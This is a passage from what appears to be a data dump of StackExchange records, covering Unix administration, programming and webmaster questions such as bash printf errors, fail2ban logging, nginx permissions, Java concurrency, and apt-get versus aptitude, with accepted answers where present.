syntax. After using printf I get the same error message with an added error message as output:Unescaped left brace in regex is deprecated, passed through in regex; marked by <-- HERE in m/%{ <-- HERE (.*?)}/ at /usr/bin/print line 528.Error: no such file sessions_username_hereWhere sessions_username_here is a replacement of the actual sessions user name for the purpose of keeping the discussion generalized to whatever username could or might be used.[UPDATE FINAL]The chosen solution offered by Stphane Chazelas clarified all the issues my script was having in a single post. I was mistakenly assuming that the 2nd line of the script since the output was complaining about brackets. To be clear it was the 3rd line that was triggering the warning (see Chazelas post for why and how) and that is probably why everyone was suggesting printf instead of print. I just needed to be pointed at the 3rd line of the script in order to make sense of those suggestions.Things that didn't work as suggested: sessionuser=$(logname)Resulting error message: logname: no login name...so maybe that suggestion isn't quite as reliable as it might seem on the surface.If user privileges are elevated which is sometimes the case when running scripts then: id -un would output rootand not the current session's user name. This would probably be a simple matter of making sure the script drops out of root privileges before execution which could solve this issue but that is beyond the scope of this thread. Things that did or could work as suggested:After I figure out how to verify my script is running in a POSIX environment and somehow de-elevating root privileges, then I could indeed use id -un to acquire the current sessions username, but those verifications and de-escilations are beyond the scope of this threads question.For now without POSIX verification, privilege testing, and de-escalation the script does what was originally intended to do without error. Here is what that script looks like now: #!/bin/bash sessionuser=$( ps -o user= -p $$ | awk '{printf $1}' ) printf '%s\\n' $sessionuserNote: The above script if run with elevated privileges still outputs root instead of the current sessions username even though the privilege escalated command: sudo ps -o user= -p $$ | awk '{printf $1}'will output the current sessions username and not root so even though the scope of this thread is answered I am back to square one with this script.Thanks again to xtrmz, icarus, and especially Stphane Chazelas who somehow was able catch my misunderstanding of the issue. I'm really impressed with every one here. Thanks for the help! :)"  , "title": "Saving command output to a variable in bash results in Unescaped left brace in regex is deprecated"  , "tags": "bash;escape characters;command substitution"  , "accepted_answer": "It's the third line (print $sessionuser) that causes that error, not the second.print is a builtin command to output text in ksh and zsh, but not bash. In bash, you need to use printf or echo instead.Also note that in bash (contrary to zsh, but like ksh), you need to quote your variables.So zsh's:print $sessionuser(though I suspect you meant:print -r -- $sessionuserIf the intent was to write to stdout the content of that variable followed by a newline) would be in bash:printf '%s\\n' $sessionuser(also works in zsh/ksh).Some systems also have a print executable command in the file system that is used to send something to a printer, and that's the one you're actually calling here. Proof that it is rarely used is that your implementation (same as mine, as part of Debian's mime-support package) has not been updated after perl's upgrade to work around the fact that perl now warns you about those improper uses of { in regular expressions and nobody noticed.{ is a regexp operator (for things like x{min,max}). Here in %{(.*?)}, that (.*?) is not a min,max, still perl is lenient about that and treats those { literally instead of failing with a regexp parsing error. It used to be silent about that, but it now reports a warning to tell you you probably have a problem in your (here print's) code: either you intended to use the { operator, but then you have a mistake within. Or you didn't and then you need to escape those {.BTW, you can simply use:sessionuser=$(logname)to get the name of the user that started the login session that script is part of. That uses the getlogin() standard POSIX function. On GNU systems, that queries utmp and generally only works for tty login sessions (as long as something like login or the terminal emulator registers the tty with utmp).Or:sessionuser=$(id -un)To get the name of one user that has the same uid as the effective user id of the process running id (same as the one running that script).It's equivalent to your ps -p $$ approach because the shell invocation that would execute id would be the same as the one that expands $$ and apart from zsh (via assignment to the EUID/UID/USERNAME special variables), shells can't change their uids without executing a different command (and of course, of all commands, id would not be setuid).Both id and logname are standard (POSIX) commands (note that on Solaris, for id like for many other commands you'd need to make sure you place yourself in a POSIX environment to make sure you call the id command in /usr/xpg4/bin and not the ancient one in /bin. The only purpose of using ps in the answer you linked to is to work around that limitation of /bin/id on Solaris).If you want to know the user that called sudo, it's via the $SUDO_USER environment variable. That's a username derived by sudo from the real user id of the process that executed sudo. sudo later changes that real user id to that of the target user (root by default) so that $SUDO_USER variable is the only way to know which it was.Note that when you do:sudo ps -fp $$That $$ is expanded by the shell that invokes sudo to the pid of the process that executed that shell, not the pid of sudo or ps, so it will give not give you root here.sudo sh -c 'ps -fp $$'Would give you the process that executed that sh (running as root) which is now either still running sh or possibly ps for sh invocations that don't fork an extra process for the last command.That would be the same for a script that does that same ps -p $$ and that you run as sudo that-script.Note that in any case, neither bash nor sudo are POSIX commands. And there are many systems where neither are found."  } 
{  "id": "_unix.351686"  , "question": "I ran btrfs scrub and got this:scrub status for 57cf76da-ea78-43d3-94d3-0976308bb4cc    scrub started at Wed Mar 15 10:30:16 2017 and finished after 00:16:39    total bytes scrubbed: 390.45GiB with 28 errors    error details: csum=28    corrected errors: 0, uncorrectable errors: 28, unverified errors: 0OK, I have good backups, and I would like to know which files these 28 errors are in so I can restore them from backup. That would save me a lot of time over wiping and restoring the whole disk."  , "title": "btrfs found uncorrected disk errors, How can I find which files they are in?"  , "tags": "btrfs"  } 
{  "id": "_unix.256933"  , "question": "I recently installed Kali Linux 2.0 and tried to update the software. This is what I did:I edited /etc/apt/sources.listto contain the following mirrors :deb http://http.kali.org/kali kali-rolling main non-free contribdeb http://http.kali.org/kali kali-rolling main contrib non-freedeb-src http://http.kali.org/kali kali-rolling main contrib non-freedeb http://http.kali.org/kali sana main non-free contribdeb http://security.kali.org/kali-security sana/updates main contrib non-freedeb-src http://http.kali.org/kali sana main non-free contribdeb-src http://security.kali.org/kali-security sana/updates main contrib non-freethen ran the following commands:apt-get cleanapt-get updateWhile running the apt-get update, I was not able to connect to the Kali server. Here is the error message:Err http://security.kali.org sana/updates InReleaseErr http://http.kali.org sana InReleaseErr http://security.kali.org sana/updates Release.gpgUnable to connect to kali.mirror.garr.it:http:Err http://http.kali.org kali-rolling Release.gpgUnable to connect to kali.mirror.garr.it:http:Err http://http.kali.org sana Release.gpgUnable to connect to kali.mirror.garr.it:http:Segmentation fault Reading package lists... DoneW: Failed to fetch http://http.kali.org/kali/dists/kali-rolling/InReleaseW: Failed to fetch http://http.kali.org/kali/dists/sana/InReleaseW: Failed to fetch http://security.kali.org/kali-security/dists/sana/updates/InReleaseW: Failed to fetch http://http.kali.org/kali/dists/kali-rolling/Release.gpgUnable to connect to kali.mirror.garr.it:http:W: Failed to fetch http://security.kali.org/kali-security/dists/sana/updates/Release.gpgUnable to connect to kali.mirror.garr.it:http:W: Failed to fetch http://http.kali.org/kali/dists/sana/Release.gpgUnable to connect to kali.mirror.garr.it:http:W: Some index files failed to download. They have been ignored, or old ones used instead.How can I fix this error?"  , "title": "Unable to update kali linux from regular source repositories"  , "tags": "debian;kali linux"  , "accepted_answer": "You should NEVER modify sources.list in Kali Linux. Here's what should be in them:deb http://http.kali.org/kali kali-rolling main contrib non-free# For source package access, uncomment the following line# deb-src http://http.kali.org/kali kali-rolling main contrib non-freeYou probably have no connection to the internet. That's why the apt-get update failed."  } 
{  "id": "_unix.64097"  , "question": "I recently got an SSD. I use it to store my / as well as my /home directories (on different partitions).For each user, I would like to have most of their folders on my big RAID-1 with 2 hard drives (I'm talking about /home/<user>/Downloads, /home/<user>/Music, /home/<user>/Documents, etc. to make this more clear).First I thought about symlinks, but I think this wouldn't work, as the whole home-directories should be encrypted with ecryptfs.So, how can this be achieved?"  , "title": "have /home/user/Downloads (and other user folders) on a different partition"  , "tags": "directory;home;ecryptfs"  , "accepted_answer": "I found a solution. Yet it is not perfect, but I think it can be improved.Basically I did what @rcoup suggested here:https://askubuntu.com/questions/103835/securely-automount-encrypted-drive-at-user-login/165451#165451On debian for some reason mount.ecryptfs_private is in /sbin/. One can access mount.ecryptfs_private without root-privileges, however instead ofmount.ecryptfs_private extraI had to use/sbin/mount.ecryptfs_private extraI wrote a script to mount every folder in home seperately, however that's maybe not the best way to do it, as everytime I move a file (e.g. from Downloads to Music) this process takes some time. Maybe it would be better to use /sbin/mount.ecryptfs_private to just mount one folder and use symlinks then."  } 
{  "id": "_unix.196476"  , "question": "How can I add an existing user to a group in FreeBSD?  The command usermod does not work."  , "title": "How to add a user to a group in FreeBSD"  , "tags": "freebsd;users"  , "accepted_answer": "pw is the command you are looking for. To add user klaatu to the group foo, do:pw groupmod foo -m klaatuHere is the FreeBSD handbook page on the subject. It's an easy and informative read:Users and Basic Account Management"  } 
{  "id": "_unix.210636"  , "question": "I've noticed that whenever I want to see fail2ban logs after 3 or 4 days of being working, it compresses the logs to .gz which Im fine with that:-rw-r--r--. 1 root   root      90034 May  1 12:49 dmesg.old-rw-------. 1 root   root          0 Jun 14 03:13 fail2ban.log-rw-------. 1 root   root       8974 May 24 02:22 fail2ban.log-20150524.gz-rw-------. 1 root   root         20 May 24 03:44 fail2ban.log-20150601.gz-rw-------. 1 root   root         20 Jun  1 03:30 fail2ban.log-20150607.gz-rw-------. 1 root   root       4785 Jun 14 03:10 fail2ban.log-20150614.gzThe problem is that it stops working like you can see in my main fail2ban.log it has 0 bytes and nothing inside of it.I was thinking that probably fail2ban has nothing to log but I see the secure log and I see the following:Jun 18 09:24:52 localserver sshd[9641]: input_userauth_request: invalid user Exit [preauth]Jun 18 09:24:53 localserver sshd[9641]: Connection closed by 123.56.112.165 [preauth]Jun 18 10:03:19 localserver sshd[10218]: Invalid user alina from 123.56.112.165Jun 18 10:03:19 localserver sshd[10218]: input_userauth_request: invalid user alina [preauth]Jun 18 10:03:20 localserver sshd[10218]: Connection closed by 123.56.112.165 [preauth]Jun 18 10:11:24 localserver sshd[10329]: Invalid user kadmin from 173.201.39.212Jun 18 10:11:24 localserver sshd[10329]: input_userauth_request: invalid user kadmin [preauth]Jun 18 10:11:24 localserver sshd[10329]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:11:24 localserver sshd[10331]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:11:25 localserver sshd[10333]: Invalid user guest from 173.201.39.212Jun 18 10:11:25 localserver sshd[10333]: input_userauth_request: invalid user guest [preauth]Jun 18 10:11:25 localserver sshd[10333]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:11:25 localserver sshd[10335]: Invalid user pi from 173.201.39.212Jun 18 10:11:25 localserver sshd[10335]: input_userauth_request: invalid user pi [preauth]Jun 18 10:11:25 localserver sshd[10335]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:11:26 localserver sshd[10337]: Invalid user ubnt from 173.201.39.212Jun 18 10:11:26 localserver sshd[10337]: input_userauth_request: invalid user ubnt [preauth]Jun 18 10:11:26 localserver sshd[10337]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:11:26 localserver sshd[10339]: Invalid user xbian from 173.201.39.212Jun 18 10:11:26 localserver sshd[10339]: input_userauth_request: invalid user xbian [preauth]Jun 18 10:11:26 localserver sshd[10339]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:11:26 localserver sshd[10341]: Invalid user admin from 173.201.39.212Jun 18 10:11:26 localserver sshd[10341]: input_userauth_request: invalid user admin [preauth]Jun 18 10:11:27 localserver sshd[10341]: Received disconnect from 173.201.39.212: 11: Bye Bye [preauth]Jun 18 10:42:29 localserver sshd[10741]: Invalid user andrei from 123.56.112.165Jun 18 10:42:29 localserver sshd[10741]: input_userauth_request: invalid user andrei [preauth]Jun 18 10:42:29 localserver sshd[10741]: Connection closed by 123.56.112.165 [preauth]Which makes me mad because attacks are still in place and fail2ban is doing nothing about it. I checked if fail2ban is still working and seems to me like it is: sudo fail2ban-client statusStatus|- Number of jail:  1`- Jail list:   ssh-iptablesI made sure also that the logpath is correct:# Jail for more extended banning of persistent abusers# !!! WARNING !!!#   Make sure that your loglevel specified in fail2ban.conf/.local#   is not at DEBUG level -- which might then cause fail2ban to fall into#   an infinite loop constantly feeding itself with non-informative lines[recidive]logpath  = /var/log/fail2ban.logport     = allprotocol = allbantime  = 604800  ; 1 weekfindtime = 86400   ; 1 daymaxretry = 5sudo fail2ban-client status ssh-iptables gives the following: Status for the jail: ssh-iptables|- Filter|  |- Currently failed: 0|  |- Total failed: 1089|  `- File list:    /var/log/secure`- Actions   |- Currently banned: 0   |- Total banned: 137   `- Banned IP list:   Any other idea that can help me to fix this problem?"  , "title": "fail2ban stops logging after some time (3-4 days)"  , "tags": "logs;jails;fail2ban"  } 
{  "id": "_softwareengineering.102741"  , "question": "Is this agile?  Scrum?  Any suggestions on how this can be made more agile under the circumstances?  Which points are positives and which can be improved?The product is developed for a customer who will re-sell it while paying us royalty.The team does not get to talk directly to the end user.  Only to the reseller.A product requirements document was created before starting development.  The requirements are rigid and do not change.A delivery schedule was agreed on with milestones such as alpha, beta etc. and features/times attached to those milestones.All developers on the Scrum team report to the product owner, a software manager.Testers on the team report to a QA manager.The product owner has directed the team towards certain high risk technical tasks.  The output of those tasks is not usable by the end user but rather some technology/code that will eventually be used in the product.The product owner has created a backlog based on the requirements.The product owner is unable to answer some questions regarding the product.  He refers to others or to the documented requirements.The team goes through the motions of Scrum.  Daily Scrum, Sprint Planning, Retrospective etc.  There is a ScrumMaster.Every sprint the product owner and management decide what backlog items the team works on.There is a burndown chart.  Scrum board with stories and tasks.  The estimates on those come from the team.The team sits in an open floor bull pen shared with other teams, all visible and audible.  There is cross-team noise and there is foot traffic around the team area.The team may be required to attend various meetings not directly related to the goals of the sprint.There are pressures to select certain technical solutions.  Some tools and processes are mandated."  , "title": "Is this agile? Scrum? How to improve agility?"  , "tags": "agile;scrum"  } 
{  "id": "_cs.35418"  , "question": "I developed a randomized self-adjusting binary search tree years ago, which I called a shuffle tree, but was unable to ever have it published because my proofs were rejected (with little explanation).  I've since given up the hope of publishing (I'm not an academic so it doesn't matter so much), but perhaps I can have some closure:  I'm going to present the tree here, and perhaps someone can help me understand where my proofs fall short?  Through testing, I'm quite certain that my understanding of the data structure is correct, but the proofs were always lacking.First, understand how a top-down splay tree can be implemented around a traverse() function.   Shuffle trees can be implemented similarly, where all operations defer to a traverse() function for the balancing operation.I'm going to begin with a C traverse function for shuffle trees, then I'll explain:// returns node with key k,// or returns the leaf containing// the closest key to k.node *  Traverse( key k, node *root, int treesize ) {    signed int iCounter = rand() % treesize;    node *pRet = 0;    node *p = root;    while ( p ) {        pRet = p;        if ( k < value(p) ) {            p = left(p);            if (( ! iCounter )&& p ) {                RotateRight( pRet );                pRet = parent(p);            } // end if        } else if ( value(p) < k ) {            p = right(p);            if (( ! iCounter )&& p ) {                RotateLeft( pRet );                pRet = parent(p);            } // end if        } else            break ; // break while        --iCounter;        iCounter >>= 1;    } // end while    return ( pRet );} The rotations used are simple single rotations.Like a scapegoat tree, shuffle trees sample depth to find imbalance, but unlike scapegoat trees, they execute at most one rotation per access to attempt to restore balance.At the beginning of traversal, we set an integer count-down value, to a random number in the range [0,N-1], where N is the size of the tree. As we iterate from a parent node to its child, we decrease the counter with I := (I-1)/2.  When the counter equals zero, then the current node becomes a candidate rotation pivot. If we need to iterate past the candidate pivot, then we will commit to the rotation. We rotate the pivot away from the direction of traversal.As search depth increases, the likelihood of a rotation increases. No rotations will occur beyond depth lgN. The counter requires lgN random bits per operation. Shuffle trees also record theirsize, so that the counter can be set. No balancinginformation needs to be recorded in tree nodes.Searches may not navigate to a leaf; if the workingset is clustered near the root, then deep searcheswill not be required. As a result, rotations can occur less frequently in a well-configured tree.If a node in the tree is not weight-balanced, thenan access is more likely to traverse into its largersub-tree. A rotation at the node probably moves some of the descendants from the larger sub-tree tothe smaller one. Since these operations are probabilistic, rotations will occur which can deterioratebalance; but as the imbalance increases, the likelihood of a rotation that improves balanceincreases.In effect, the balancing technique is a kind of random sampling. Nodes are selected randomlyfrom traversal paths and their balance is manipulated. Frequently used data attract more attentionand, therefore, benefit more from balancing activity than infrequently used data. The treeeventually approximates a weight-blanced configuration for the data set, where the probability ofaccess is the weight for each node.Here's where it gets dicey: proving that a traversal occurs in lgN.I argue the probability that an adversary can select a nodeto force a rotation that impairs balance is(1 - Pw) * Product over A of ( 1 - px )Where Pw is a number estimating the overall weight balance of the tree (Pw >= 0.5) and px is the weight of node x, the probability it is accessed.  Set A is the set containing the pivot and all its ancestors. If rotations occur which impair balance, and Pw increases, then the overall probability of a favorable rotation increases.  As Pw increases, the probability of a favorable rotation dwarfs the probability of a poor rotation.  The tree does not linearize, and lgN is maintained.Eh. What do you think?"  , "title": "Proof of Randomized Self-Adjusting Binary Search Tree"  , "tags": "data structures;randomized algorithms;correctness proof"  } 
{  "id": "_codereview.51028"  , "question": "I am working on a project in which I construct a URL with a valid hostname (but not a blocked hostname) and then execute that URL using RestTemplate from my main thread. I also have a single background thread in my application which parses the data from the URL and extracts the block list of hostnames from it.If any block list of hostnames is present, then I won't make a call to that hostname from the main thread and I will try making a call to another hostname. By block list, I mean whenever any server is down, its hostname is on the block list.Here is my background thread code. It will get the data from my service URL and keep on running every 10 minutes once my application has started up. It will then parse the data coming from the URL and store it in a ClientData class variable.public class TempScheduler {    private final ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1);        public void startScheduler() {            final ScheduledFuture<?> taskHandle = scheduler.scheduleAtFixedRate(new Runnable() {                public void run() {                    try {                        callServiceURL();                    } catch (Exception ex) {                        ex.printStackTrace();                    }                }            }, 0, 10, TimeUnit.MINUTES);        }    }    // call the service and get the data and then parse     // the response.    private void callServiceURL() {        String url = url;        RestTemplate restTemplate = new RestTemplate();        String response = restTemplate.getForObject(url, String.class);        parseResponse(response);    }    // parse the response and store it in a variable    private void parseResponse(String response) {        //...               Map<String, Map<Integer, String>> primaryTables = null;        Map<String, Map<Integer, String>> secondaryTables = null;        Map<String, Map<Integer, String>> tertiaryTables = null;        //...        // store the data in ClientData class variables if anything has changed          // which can be used by other threads        if(changed) {            ClientData.setMappings(primaryTables, secondaryTables, tertiaryTables);        }        // get the block list of hostnames        Map<String, List<String>> coloExceptionList = gson.fromJson(response.split(blocklist=)[1], Map.class);        List<String> blockList = new ArrayList<String>();        for(Map.Entry<String, List<String>> entry : coloExceptionList.entrySet()) {            for(String hosts : entry.getValue()) {                blockList.add(hosts);            }        }        // store the block list of hostnames which I am not supposed to make a call        // from my main application        ClientData.setBlockListOfHostname(blockList);    }}Below is my ClientData class in which I am using CountDownLatch -public class ClientData {    public static class Mappings {        public final Map<String, Map<Integer, String>> primary;        public final Map<String, Map<Integer, String>> secondary;        public final Map<String, Map<Integer, String>> tertiary;        public Mappings(            Map<String, Map<Integer, String>> primary,            Map<String, Map<Integer, String>> secondary,            Map<String, Map<Integer, String>> tertiary        ) {            this.primary = primary;            this.secondary = secondary;            this.tertiary = tertiary;        }    }    private static final AtomicReference<Mappings> mappings = new AtomicReference<>();    private static final CountDownLatch hasBeenInitialized = new CountDownLatch(1);    // do I need this extra AtomicReference?    private static final AtomicReference<List<String>> blockListOfHosts = new AtomicReference<List<String>>();    // do I need this extra latch here?    private static final CountDownLatch hasBeenInitializedBlockHostnames = new CountDownLatch(1);    public static Mappings getMappings() {        try {            hasBeenInitialized.await();            return mappings.get();        } catch (InterruptedException e) {            Thread.currentThread().interrupt();            throw new IllegalStateException(e);        }    }    public static void setMappings(        Map<String, Map<Integer, String>> primary,        Map<String, Map<Integer, String>> secondary,        Map<String, Map<Integer, String>> tertiary    ) {        setMappings(new Mappings(primary, secondary, tertiary));    }    public static void setMappings(Mappings newMappings) {        mappings.set(newMappings);        hasBeenInitialized.countDown();    }    public static void setBlockListOfHostname(List<String> listsOfHostnames) {        blockListOfHosts.set(listsOfHostnames);        hasBeenInitializedBlockHostnames.countDown();    }    public static boolean isExceptionHost(String hostName) {        List<String> blockHostList = blockListOfHosts.get();        if (blockHostList != null) {            return blockHostList.contains(hostName);        } else {            return false;        }    }}Here is my main application thread code in which I find all the hostnames on which I can make a call and then iterate the hostnames list to make a call.If that hostname is null or in the block list, then I won't make a call to that particular hostname and will try the next hostname in the list.@Overridepublic DataResponse call() throws Exception {    List<String> hostnames = new LinkedList<String>();    Mappings mappings = ClientData.getMappings();     // use mappings.primary     // use mappings.secondary     // use mappings.tertiary    // .. some code here    for (String hostname : hostnames) {             // If host name is null or host name is in block list category, skip sending request to this host        if (hostname == null || ClientData.isExceptionHost(hostname)) {            continue;        }        try {            String url = generateURL(hostname);            response = restTemplate.getForObject(url, String.class);            break;        } catch (RestClientException ex) {            // log exception            // how to add this hostname in the block list as well in `ClientData` class?        }    }}I don't need to make a call to the hostname whenever it is down from the main thread. And my background thread gets these detail from one of my services, whenever any server is down. It will have the list of hostnames and whenever they are up, that list will get updated.Do I need extra CountDownLatch for block list of hostname in ClientData class or not?Do I need extra AtomicReference for block list of hostname as well or not?This code will be called at a rate of 1000 requests per second so it has to be fast. For the first time, whenever my blockListOfHosts is being updated from the background thread, I can return false instead of blocking the call using CountDownLatch but it has to be atomic, all the threads should see correct value of the block list of hostnames.And also, whenever any RestClientException is being thrown, I will add that hostname in the blockListOfHosts as well since my background thread is running every 10 minutes so that list won't have this hostname until 10 minutes is done. And whenever this server came back up, my background will update this list automatically."  , "title": "Constructing a URL for execution using RestTemplate"  , "tags": "java;performance;url;rest;atomic"  , "accepted_answer": "For adding and removing single host names, I would use a simple ConcurrentHashMap without the AtomicReference. Initialize it with an empty map and drop the additional latch.Update: I really doubt you need to replace the list of hosts all at once, but here's the combined form anyway:private static final AtomicReference<ConcurrentHashMap<String, String>> blockedHosts =         new AtomicReference<ConcurrentHashMap<String, String>>(new ConcurrentHashMap<String, String>());public static boolean isHostBlocked(String hostName) {    return blockedHosts.get().containsKey(hostName);}public static void blockHost(String hostName) {    blockedHosts.get().put(hostName, hostName);}public static void unblockHost(String hostName) {    blockedHosts.get().remove(hostName);}public static void replaceBlockedHosts(List<String> hostNames) {    ConcurrentHashMap<String, String> newBlockedHosts = new ConcurrentHashMap<>();    for (String hostName : hostNames) {        newBlockedHosts.put(hostName, hostName);    }    blockedHosts.set(newBlockedHosts);}"  } 
{  "id": "_unix.268308"  , "question": "My actual problem is that Nginx is not able to render pages (403 forbidden) despite the permissions being set to appropriately (in my opinion)The directory of stackoverflow at default location:user1@wfe1 ~]$ ls /usr/share/nginx/html/stackoverflow/ -altotal 4drwxr-xr-x. 2 root root 23 Mar  9 02:59 .drwxrwxr-x. 4 root www  89 Mar  9 02:59 ..-rw-r--r--. 1 root root  6 Mar  9 02:59 index.htmlThe directory of stackoverflow at user location:[user1@wfe1 ~]$ ls stackoverflow/ -altotal 4drwxr-xr-x. 2 root  root  23 Mar  9 02:52 .drwxr-xr-x. 3 nginx nginx 79 Mar  9 02:51 ..-rw-r--r--. 1 root  root   6 Mar  9 02:52 index.htmlConfiguration file:server{   listen           80;   server_name localhost;   root /usr/share/nginx/html/stackoverflow; #Works   #root /home/user1/stackoverflow;          #Doesn't work   index index.html;}The one that fails shows a 403 forbidden error. To get to the root of the issue, I am using the following command and browse using my browser which yields the output as shown below...[root@wfe1 user1]# sudo strace -p 9114 -e trace=fileProcess 9114 attachedstat(/home/user1/stackoverflow/index.html, {st_mode=S_IFREG|0644, st_size=6, ...}) = 0open(/home/user1/stackoverflow/index.html, O_RDONLY|O_NONBLOCK) = -1 EACCES (Permission denied)open(/home/user1/stackoverflow/favicon.ico, O_RDONLY|O_NONBLOCK) = -1 ENOENT (No such file or directory)The output as you can see is Permission Denied. I would like to know which user account was used to access the file? How can I dig in further?EDITED the question with newer permissions."  , "title": "How can I find which user is accessing a file using strace?"  , "tags": "linux;centos;nginx;strace"  } 
{  "id": "_unix.4043"  , "question": "I run a VNC client (tightvnc) along with other applications on a Windows machine. Inside my VNC session, I typically have several xterms and gvim windows open. How can I switch between the applications within VNC? If I do ALT-TAB, that results in switching between the applications in Windows where the whole VNC is considered as a single application; I do not want that. Is there some way to configure some key bindings, any two/three keystroke is okay for me, to do the job?"  , "title": "Task Switcher inside VNC"  , "tags": "window manager;vnc"  , "accepted_answer": "You should be able to modify the keyboard shortcut assigned to switching windows on the VNC server side desktop. You didn't specify what desktop environment you are using but on my computer (Ubuntu 10.10 with Gnome) this is the Keyboard Shortcuts control panel from the System menu (System > Preferences > Keyboard Shortcuts).The Alt-Tab function is near the bottom (under Window Management, labelled Move between windows, using a popup window). Change it from Alt-Tab to something that isn't a shortcut on either your Windows computer or the apps you're using on the VNC server side."  } 
{  "id": "_unix.291309"  , "question": "How do I backup a LVM partition to an image for recovery purposes?I am trying to run dd on /dev/sda2, but it crashes after ca 8 hours, at around 380G sudo lvmdiskscan  /dev/centos/swap [       3.89 GiB]   /dev/sda1        [     500.00 MiB]   /dev/centos/root [      50.00 GiB]   /dev/sda2        [     465.27 GiB] LVM physical volume  /dev/centos/home [     411.38 GiB]   /dev/sdb1        [     931.51 GiB]   3 disks  2 partitions  0 LVM physical volume whole disks  1 LVM physical volumeAnyway, could running from a stick make any difference?"  , "title": "How do I create a dd IMAGE from LVM for recovery purposes"  , "tags": "dd;disk;lvm"  } 
{  "id": "_unix.157059"  , "question": "I'm getting the following errors every 10-30 seconds on a virtual Red Hat Enterprise Linux 6.5 2 Server on Amazons EC2.  Sep 23 09:57:05 ServerName init: ttyS0 (/dev/ttyS0) main process (1612) terminated with status 1Sep 23 09:57:05 ServerName init: ttyS0 (/dev/ttyS0) main process ended, respawningSep 23 09:57:05 ServerName agetty[1613]: /dev/ttyS0: tcgetattr: Input/output errorDoes anyone know what is causing this and how I could go about fixing it? Thanks. "  , "title": "ERROR: init: ttyS0 (/dev/ttyS0) main process (1612) terminated with status 1"  , "tags": "linux;tty;io;init;amazon ec2"  , "accepted_answer": "A virtual Red Hat installation probably doesn't have any serial ports connected (which is what /dev/ttyS0 is: COM1 in DOS parlance), so trying to start agetty to listen to the serial port is doomed to fail. Find the line in /etc/inittab that contains agetty and ttyS0 and change respawn to off.EDIT: In case the system is using upstart, as in redhat 6, do stop ttyS0 to stop the service now, and do mv /etc/init/ttyS0.conf /etc/init/ttyS0.conf.NOT to prevent starting the service after a reboot. (There is a better way of preventing the starting but I don't know it at the moment...)"  } 
{  "id": "_webmaster.88394"  , "question": "I have deleted some of the low quality posts in my website. But that posts still available in Google search result. Can anyone know how to make Google re-cache my site?"  , "title": "How to remove pages from Google Search Engine Cache"  , "tags": "google;search;google cache"  } 
{  "id": "_webmaster.50487"  , "question": "I have 100's of duplicate meta description issue in google webmaster tool because of the pagination. Pagination pages are showing as  duplicate in tool. So I added the rel=next and rel=prev to the pagination link anchor tags. But it seems like not working.I red the Google office webmaster blog post. That never mentioned to add anchor tag to the rel attributes. So should only adding rel attribute with link work or it will work with anchor tag as well. example : <link rel=next href=http://www.example.com/article?story=abc&page=2 />I red few unofficial blogs that mentioned the it will work with anchor. So please can anyone tell what I am doing here wrong!"  , "title": "rel=next in anchor tag is not working"  , "tags": "google search console;rel;pagination"  } 
{  "id": "_codereview.90469"  , "question": "JavaScript is my first programming language, and I'm still pretty new. I'm just looking for feedback. What can I do to make this more efficient and handle larger numbers? // Project Euler - Smallest Multiple// This program finds the smallest positive number// that is evenly divisible by all numbers between 1 and n.function smallestMult(n){    var dividends = []; // the numbers by which the program must divide    for (var i = 1; i <= n; i ++){        dividends.push(i);    }    var result = n; // will increase in increments of n    var count = 0; //  result has been found when count == n    while (count < n){        for (var x = 0; x < dividends.length; x ++){            if (result % dividends[x] === 0){                count += 1; // increases count for every successful division            }            else {                count = 0; // if a division fails, count returns to 0                result += n; // and the result is increased by n            }        }    }    return result;}console.log(smallestMult(12));"  , "title": "Project Euler #5 - Smallest Multiple"  , "tags": "javascript;algorithm;programming challenge"  } 
{  "id": "_webmaster.66885"  , "question": "I have an Apache 2.2.15 web server with the primary site at /web/mybiz which corresponds to http://mybiz.domain.com. We now have a new subdomain http://abc.mybiz.domain.com with the homepage living at /web/mybiz/abc/index.html.  Currently, I have a simple rewrite so when people visit http://abc.mybiz.domain.com, they get redirected to http://mybiz.domain.com/abc/index.html.  The includes for that homepage live in /web/mybiz/static and /web/mybiz/images.  I need to have it so that people visiting don't see the URL change in the browser, but I cannot figure out how to make it work and keep the includes all working."  , "title": "Apache URL rewriting with masking and includes outside of DocumentRoot"  , "tags": "apache;mod rewrite;url rewriting;masking"  } 
{  "id": "_unix.767"  , "question": "I know that both apt-get and aptitude are command line package management interfaces on Debian derived Linux, with different options, but I'm still somewhat confused.  Under the hood, aren't they using the same APT system?  Why does Debian maintain these parallel tools?  (Bonus question: what on earth is wajig?)"  , "title": "What is the real difference between apt-get and aptitude? (How about wajig?)"  , "tags": "debian;package management;apt;aptitude"  , "accepted_answer": "The most obvious difference is that aptitude provides a terminal menu interface (much like Synaptic in a terminal), whereas apt-get does not.Considering only the command-line interfaces of each, they are quite similar, and for the most part, it really doesn't matter which one you use. Recent versions of both will track which packages were manually installed, and which were installed as dependencies (and therefore eligible for automatic removal). In fact, I believe that even more recently, the two tools were updated to actually share the same database of manually vs automatically installed packages, so cases where you install something with apt-get and then aptitude wants to uninstall it are mostly a thing of the past. There are a few minor differences:aptitude will automatically remove eligible packages, whereas apt-get requires a separate command to do soThe commands for upgrade vs. dist-upgrade have been renamed in aptitude to the probably more accurate names safe-upgrade and full-upgrade, respectively.aptitude actually performs the functions of not just apt-get, but also some of its companion tools, such as apt-cache and apt-mark.aptitude has a slightly different query syntax for searching (compared to apt-cache)aptitude has the why and why-not commands to tell you which manually installed packages are preventing an action that you might want to take.If the actions (installing, removing, updating packages) that you want to take cause conflicts, aptitude can suggest several potential resolutions. apt-get will just say I'm sorry Dave, I can't allow you to do that.There are other small differences, but those are the most important ones that I can think of.In short, aptitude more properly belongs in the category with Synaptic and other higher-level package manager frontends. It just happens to also have a command-line interface that resembles apt-get.Bonus Round: What is wajig?Remember how I mentioned those companion tools like apt-cache and apt-mark? Well, there's a bunch of them, and if you use them a lot, you might not remember which ones provide which commands. wajig is one solution to that problem. It is essentially a dispatcher, a wrapper around all of those tools. It also applies sudo when necessary. When you say wajig install foo, wajig says Ok, install is provided by apt-get and requires admin privileges, and it runs sudo apt-get install foo. When you say wajig search foo, wajig says Ok, search is provided by apt-cache and does not require admin privileges, and it runs apt-cache search foo. If you use wajig instead of apt-get, apt-mark, apt-cache and others, then you'll never have this problem:$ apt-get search 